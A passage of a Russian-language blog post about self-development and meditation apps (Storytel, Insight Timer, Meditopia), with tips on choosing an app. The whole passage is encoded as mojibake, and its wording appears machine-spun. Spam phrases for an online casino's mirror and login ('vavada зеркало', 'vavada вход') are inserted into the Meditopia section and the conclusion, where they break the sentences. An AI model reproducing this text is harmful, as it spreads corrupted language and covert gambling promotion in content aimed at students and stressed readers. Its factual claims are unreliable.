Π²Π°ΠΆΠ½Π° функция ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»Ρ срСди русскоязычным исходником/трансляциСй ΠΎΠ΄Π½ΠΈΠΌ ΠΊΠ»ΠΈΠΊΠΎΠΌ нСпосрСдствСнно Π² процСссС аудирования.

А Π΅Ρ‰Ρ‘ Storytel прСдоставляСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ списки воспроизвСдСния ΠΈΠ·Π±Ρ€Π°Π½Π½Ρ‹Ρ… Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠΉ ΠΏΠΎ ΡΠΌΠΎΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΌΡƒ ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ (“Для ΠΌΠΎΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ”, “На Π½ΠΎΡ‡ΡŒ”, “Для саморазвития”).

Π‘ΠΎΠ·Π΅Ρ€Ρ†Π°Π½ΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ самосознания

Insight Timer: Ρ€Π°Π·ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΠ΅ Π±Π΅Π· Π»ΠΈΠΌΠΈΡ‚ΠΎΠ² Π±Π΅Π·Π²ΠΎΠ·ΠΌΠ΅Π·Π΄Π½ΠΎ

Insight Timer отличаСтся срСди Π°Π½Π°Π»ΠΎΠ³ΠΎΠ² ΠΏΠΎΠ»Π½ΠΎΠΉ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒΡŽ Π±Π΅Π· ΠΎΠΏΠ»Π°Ρ‚Ρ‹ возмоТности доступа ΠΊΠΎ всСм Π³Π»Π°Π²Π½Ρ‹ΠΌ опциям Π±Π΅Π· подписки (Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Calm ΠΈΠ»ΠΈ Headspace). Π’ этом мСстС собраны Π±ΠΎΠ»Π΅Π΅ 100 тысяч ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠΉ ΠΎΡ‚ сСртифицированных инструкторов со всСго ΠΌΠΈΡ€Π°; ΠΌΠ½ΠΎΠ³ΠΈΠ΅ курсы ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½Ρ‹ Π½Π° русский язык ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ российскими психологами.

Π’Ρ‹ Π² состоянии Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΡƒΡŽ ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΡŽ “Π½Π° Π΄Ρ‹Ρ…Π°Π½ΠΈΠ΅” ΠΏΠ΅Ρ€Π΅Π΄ Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠΉ встрСчСй ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡΠ½ΡƒΡŽ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒ расслаблСния послС тяТСлого дня ΡƒΡ‡Π΅Π±Ρ‹/Ρ€Π°Π±ΠΎΡ‚Ρ‹; Π΅ΡΡ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для подростков (“ΠžΡΠΎΠ·Π½Π°Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄ экзамСном”).

Insight Timer Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ эксплуатируСтся спСциалистами ΠΏΠΎ психологии российских школ ΠΊΠ°ΠΊ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ срСдство ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ†ΠΈΠΈ трСвоТности Ρƒ учащихся ΡΡ‚Π°Ρ€ΡˆΠΈΡ… классов ΠΏΠ΅Ρ€Π΅Π΄ Π΅Π΄ΠΈΠ½Ρ‹ΠΌΠΈ государствСнными экзамСнами/основными государствСнными экзамСнами; Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ всСм ΠΆΠ΅Π»Π°ΡŽΡ‰ΠΈΠΌ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ со стрСссом соврСмСнного мСгаполиса ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Π±Π΅Π· ΠΌΠ΅Π΄ΠΈΠΊΠ°ΠΌΠ΅Π½Ρ‚ΠΎΠ²!

Meditopia: глубокая Ρ€Π°Π±ΠΎΡ‚Π° со напряТСниСм

Meditopia сочСтаСт классичСскиС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠΈ (“сканированиС Ρ‚Π΅Π»Π°”, “осознанноС Π΄Ρ‹Ρ…Π°Π½ΠΈΠ΅”) с ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π΄ΡƒΡˆΠ΅Π²Π½ΠΎΠ³ΠΎ равновСсия, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ vavada Π·Π΅Ρ€ΠΊΠ°Π»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ “Π‘ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ со страхом” ΠΈ “ΠŸΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒ”. ПанСль управлСния ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π»ΠΎΠΊΠ°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π½Π° Ρ€ΠΎΠ΄Π½ΠΎΠΉ язык; ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ»Ρ‹ записаны российскими учитСлями ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠΈ.

Π‘ΠΎΡ„Ρ‚ позволяСт ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ†Π΅Π»ΠΈ сСмиднСвного ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° (“Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠ΅ΠΉ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎ хотя Π±Ρ‹ 5 ΠΌΠΈΠ½ΡƒΡ‚”), ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΈΠ½Π°ΠΌΠΈΠΊΡƒ Ρ‡Π΅Ρ€Π΅Π· встроСнный Π΄Π½Π΅Π²Π½ΠΈΠΊ эмоций; ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ vavada Π²Ρ…ΠΎΠ΄, ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ пСрсонализированныС совСты послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΊΡ€Π°Ρ‚ΠΊΠΈΡ… Π°Π½ΠΊΠ΅Ρ‚ ΠΎ настроСнии/стрСссоустойчивости ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.

ΠœΠ΅Π΄ΠΈΡ‚ΠΎΠΏΠΈΡ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ Ρ‚Π΅ΠΌ ΠΌΠΎΠ»ΠΎΠ΄Ρ‹ΠΌ людям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°Π΅Ρ‚ Π΄ΡƒΡˆΠ΅Π²Π½ΠΎΠ΅ Π²Ρ‹Π³ΠΎΡ€Π°Π½ΠΈΠ΅ ΠΈΠ·-Π·Π° занятий/Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π»ΠΈΠ±ΠΎ просто Ρ…ΠΎΡ‡Π΅Ρ‚ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ свои чувства Π±Π΅Π· стСрСотипов ΠΎ “слабости”.

Как ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄ сСбя?

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ сСктор пСдагогичСских Π°ΠΏΠΏΠΎΠ² ΠΎΠ³Ρ€ΠΎΠΌΠ΅Π½; Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π·Π°Ρ‚Π΅Ρ€ΡΡ‚ΡŒΡΡ срСди мноТСства ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ стоит ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ сразу Π½Π° нСсколько Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ² Π²Ρ‹Π±ΠΎΡ€Π°:

  1. Π¦Π΅Π»ΠΈ: Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ язык? Π£Π»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΏΠ°ΠΌΡΡ‚ΡŒ? Π˜Π·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ рСсурсами?
  2. Π¨Π°Π±Π»ΠΎΠ½: Π»ΡŽΠ±ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠ΅ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π²ΠΈΠ΄Π΅ΠΎΡƒΡ€ΠΎΠΊΠΈ? Или Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ Π³Π΅ΠΉΠΌΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ?
  3. Π”ΠΈΠ°Π»Π΅ΠΊΡ‚ UI: насколько ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½ΠΎ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ российского лСксикона?
  4. Π¦Π΅Π½Π°: настроСны Π»ΠΈ ΠΎΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ возмоТности? Π›ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΈΠ°Π»ΡŒΠ½ΠΎ рассматриваСтС Π΄Π°Ρ€ΠΎΠ²ΠΎΠΉ ΠΎΠΏΡ†ΠΈΡŽ?
  5. ΠžΡ‚Π·Ρ‹Π²Ρ‹ приятСлСй/Π·Π½Π°ΠΊΠΎΠΌΡ‹Ρ…: часто совСты истинных ΡŽΠ·Π΅Ρ€ΠΎΠ² ΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ†Π΅Π½Π½Π΅Π΅ ΠΏΡ€ΠΎΠΌΠΎΡ†ΠΈΠΎΠ½Π½Ρ‹Ρ… ΠΎΡ‚Π·Ρ‹Π²ΠΎΠ²!

Если ΠΊΠΎΠ»Π΅Π±Π»Π΅Ρ‚Π΅ΡΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ нСсколькими прилоТСниями – ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄Π°Ρ€ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ хотя Π±Ρ‹ Π½Π΅Π΄Π΅Π»ΡŒΠΊΡƒ подряд! Волько собствСнный ΠΎΠΏΡ‹Ρ‚ даст ΠΎΡ‚Π²Π΅Ρ‚ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ соотвСтствуСт Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΎΠ±Ρ€Π°Π·Ρƒ ΠΆΠΈΠ·Π½ΠΈ/обучСния Π»ΡƒΡ‡ΡˆΠ΅ всСго.

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ vavada Π²Ρ…ΠΎΠ΄ Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ бСсконСчныС ΡˆΠ°Π½ΡΡ‹ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ роста Π²Π½Π΅ зависимости ΠΎΡ‚ возраста ΠΈΠ»ΠΈ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ! Π“Π»Π°Π²Π½ΠΎΠ΅ – Π½Π΅ Π·Π°Π±Ρ‹Π²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π°ΠΏΠΏΡ‹ лишь инструмСнт вашСго успСха; всё ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ опрСдСляСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ постоянства ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ… Плюс ΠΊΠ°ΠΏΠ΅Π»ΡŒΠΊΡƒ ΠΌΠΎΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ всякий дСнь!

Nx_17bc5749dcc8

Leave a Reply

Your email address will not be published. Required fields are marked *